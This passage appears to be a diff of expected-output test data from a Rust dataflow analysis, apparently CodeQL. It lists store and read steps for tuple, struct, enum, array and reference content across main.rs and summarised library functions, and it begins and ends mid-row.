ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | -| main.rs:97:14:97:22 | source(...) | tuple.0 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:97:25:97:25 | 2 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:103:14:103:14 | 2 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:17:103:26 | source(...) | tuple.1 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:29:103:29 | 2 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:111:18:111:18 | 2 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:111:21:111:30 | source(...) | tuple.1 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:114:11:114:20 | source(...) | tuple.0 | main.rs:114:5:114:5 | [post] a | -| main.rs:115:11:115:11 | 2 | tuple.1 | main.rs:115:5:115:5 | [post] a | -| main.rs:121:14:121:14 | 3 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:121:17:121:26 | source(...) | tuple.1 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:122:14:122:14 | a | tuple.0 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:122:17:122:17 | 3 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:137:24:137:32 | source(...) | Point.x | main.rs:137:13:137:40 | Point {...} | -| main.rs:137:38:137:38 | 2 | Point.y | main.rs:137:13:137:40 | Point {...} | -| main.rs:143:28:143:36 | source(...) | Point.x | main.rs:143:17:143:44 | Point {...} | -| main.rs:143:42:143:42 | 2 | Point.y | main.rs:143:17:143:44 | Point {...} | -| main.rs:145:11:145:20 | source(...) | Point.y | main.rs:145:5:145:5 | [post] p | -| main.rs:151:12:151:21 | source(...) | Point.x | main.rs:150:13:153:5 | Point {...} | -| main.rs:152:12:152:12 | 2 | Point.y | main.rs:150:13:153:5 | Point {...} | -| main.rs:166:16:169:9 | Point {...} | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:167:16:167:16 | 2 | Point.x | main.rs:166:16:169:9 | Point {...} | -| main.rs:168:16:168:25 | source(...) | Point.y | main.rs:166:16:169:9 | Point {...} | -| main.rs:170:12:170:12 | 4 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:180:16:180:32 | Point {...} | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:180:27:180:27 | 2 | Point.x | main.rs:180:16:180:32 | Point {...} | -| main.rs:180:30:180:30 | y | Point.y | main.rs:180:16:180:32 | Point {...} | -| main.rs:181:12:181:12 | 4 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:198:27:198:36 | source(...) | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:198:39:198:39 | 2 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:214:27:214:36 | source(...) | Some | main.rs:214:14:214:37 | ...::Some(...) | -| main.rs:215:27:215:27 | 2 | Some | main.rs:215:14:215:28 | ...::Some(...) | -| main.rs:227:19:227:28 | source(...) | Some | main.rs:227:14:227:29 | Some(...) | -| main.rs:228:19:228:19 | 2 | Some | main.rs:228:14:228:20 | Some(...) | -| main.rs:240:19:240:28 | source(...) | Some | main.rs:240:14:240:29 | Some(...) | -| main.rs:245:19:245:28 | source(...) | Some | main.rs:245:14:245:29 | Some(...) | -| main.rs:248:19:248:19 | 0 | Some | main.rs:248:14:248:20 | Some(...) | -| main.rs:253:19:253:28 | source(...) | Some | main.rs:253:14:253:29 | Some(...) | -| main.rs:261:19:261:28 | source(...) | Some | main.rs:261:14:261:29 | Some(...) | -| main.rs:262:19:262:19 | 2 | Some | main.rs:262:14:262:20 | Some(...) | -| main.rs:266:10:266:10 | 0 | Some | main.rs:266:5:266:11 | Some(...) | -| main.rs:270:36:270:45 | source(...) | Ok | main.rs:270:33:270:46 | Ok(...) | -| main.rs:276:37:276:46 | source(...) | Err | main.rs:276:33:276:47 | Err(...) | -| main.rs:284:35:284:44 | source(...) | Ok | main.rs:284:32:284:45 | Ok(...) | -| main.rs:285:35:285:35 | 2 | Ok | main.rs:285:32:285:36 | Ok(...) | -| main.rs:286:36:286:45 | source(...) | Err | main.rs:286:32:286:46 | Err(...) | -| main.rs:293:8:293:8 | 0 | Ok | main.rs:293:5:293:9 | Ok(...) | -| main.rs:297:35:297:44 | source(...) | Ok | main.rs:297:32:297:45 | Ok(...) | -| main.rs:301:36:301:45 | source(...) | Err | main.rs:301:32:301:46 | Err(...) | -| main.rs:312:29:312:38 | source(...) | A | main.rs:312:14:312:39 | ...::A(...) | -| main.rs:313:29:313:29 | 2 | B | main.rs:313:14:313:30 | ...::B(...) | -| main.rs:330:16:330:25 | source(...) | A | main.rs:330:14:330:26 | A(...) | -| main.rs:331:16:331:16 | 2 | B | main.rs:331:14:331:17 | B(...) | -| main.rs:352:18:352:27 | source(...) | C | main.rs:351:14:353:5 | ...::C {...} | -| main.rs:354:41:354:41 | 2 | D | main.rs:354:14:354:43 | ...::D {...} | -| main.rs:372:18:372:27 | source(...) | C | main.rs:371:14:373:5 | C {...} | -| main.rs:374:27:374:27 | 2 | D | main.rs:374:14:374:29 | D {...} | -| main.rs:392:17:392:17 | 1 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:20:392:20 | 2 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:23:392:32 | source(...) | element | main.rs:392:16:392:33 | [...] | -| main.rs:396:17:396:26 | source(...) | element | main.rs:396:16:396:31 | [...; 10] | -| main.rs:400:17:400:17 | 1 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:20:400:20 | 2 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:23:400:23 | 3 | element | main.rs:400:16:400:24 | [...] | -| main.rs:406:17:406:17 | 1 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:20:406:20 | 2 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:23:406:32 | source(...) | element | main.rs:406:16:406:33 | [...] | -| main.rs:411:17:411:17 | 1 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:20:411:20 | 2 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:23:411:23 | 3 | element | main.rs:411:16:411:24 | [...] | -| main.rs:418:17:418:17 | 1 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:20:418:20 | 2 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:23:418:32 | source(...) | element | main.rs:418:16:418:33 | [...] | -| main.rs:429:24:429:24 | 1 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:27:429:27 | 2 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:30:429:30 | 3 | element | main.rs:429:23:429:31 | [...] | -| main.rs:432:18:432:27 | source(...) | element | main.rs:432:5:432:11 | [post] mut_arr | -| main.rs:444:41:444:67 | default_name | captured default_name | main.rs:444:41:444:67 | \|...\| ... | -| main.rs:479:15:479:24 | source(...) | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:27:479:27 | 2 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:30:479:30 | 3 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:33:479:33 | 4 | element | main.rs:479:14:479:34 | [...] | -| main.rs:504:23:504:32 | source(...) | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:35:504:35 | 2 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:38:504:38 | 3 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:41:504:41 | 4 | element | main.rs:504:22:504:42 | [...] | -| main.rs:519:18:519:18 | c | &ref | main.rs:519:17:519:18 | &c | -| main.rs:522:15:522:15 | b | &ref | main.rs:522:14:522:15 | &b | -| main.rs:545:27:545:27 | 0 | Some | main.rs:545:22:545:28 | Some(...) | +| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | +| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | +| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | +| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | +| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | +| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | +| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | +| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | +| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | +| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | +| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | +| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | +| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | +| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:214:27:214:36 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:214:14:214:37 | ...::Some(...) | +| main.rs:215:27:215:27 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:215:14:215:28 | ...::Some(...) | +| main.rs:227:19:227:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:227:14:227:29 | Some(...) | +| main.rs:228:19:228:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:228:14:228:20 | Some(...) | +| main.rs:240:19:240:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:240:14:240:29 | Some(...) | +| main.rs:245:19:245:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:245:14:245:29 | Some(...) | +| main.rs:248:19:248:19 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:248:14:248:20 | Some(...) | +| main.rs:253:19:253:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:253:14:253:29 | Some(...) | +| main.rs:261:19:261:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:261:14:261:29 | Some(...) | +| main.rs:262:19:262:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:262:14:262:20 | Some(...) | +| main.rs:266:10:266:10 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:266:5:266:11 | Some(...) | +| main.rs:270:36:270:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:270:33:270:46 | Ok(...) | +| main.rs:276:37:276:46 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:276:33:276:47 | Err(...) | +| main.rs:284:35:284:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:284:32:284:45 | Ok(...) | +| main.rs:285:35:285:35 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:285:32:285:36 | Ok(...) | +| main.rs:286:36:286:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:286:32:286:46 | Err(...) | +| main.rs:293:8:293:8 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:293:5:293:9 | Ok(...) | +| main.rs:297:35:297:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:297:32:297:45 | Ok(...) | +| main.rs:301:36:301:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:301:32:301:46 | Err(...) | +| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | +| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | +| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | +| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | +| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | +| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | +| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | +| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | +| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | +| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | +| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | +| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | +| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | +| main.rs:545:27:545:27 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:545:22:545:28 | Some(...) | readStep -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::clone_from | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Box(1) | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::boxed::Box(1)] in lang:alloc::_::::allocator | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:alloc::_::::allocator | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::into_inner | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::into_inner | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::merge_tracking_child_edge | Left | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::btree::node::LeftOrRight::Left(0)] in lang:alloc::_::::merge_tracking_child_edge | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::visit_nodes_in_order | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:alloc::_::::visit_nodes_in_order | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from_range | Excluded | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Bound::Excluded(0)] in lang:alloc::_::::from_range | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from_range | Included | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Bound::Included(0)] in lang:alloc::_::::from_range | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::clone_from | BTreeSet | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone_from | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::append | LinkedList.tail | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::append | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Rc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::allocator | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Rc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::alloc] in lang:alloc::_::::downgrade | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Rc.ptr | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::rc::Rc::ptr] in lang:alloc::_::::downgrade | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | Arc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::allocator | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Arc.alloc | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::alloc] in lang:alloc::_::::downgrade | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::downgrade | Arc.ptr | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::Arc::ptr] in 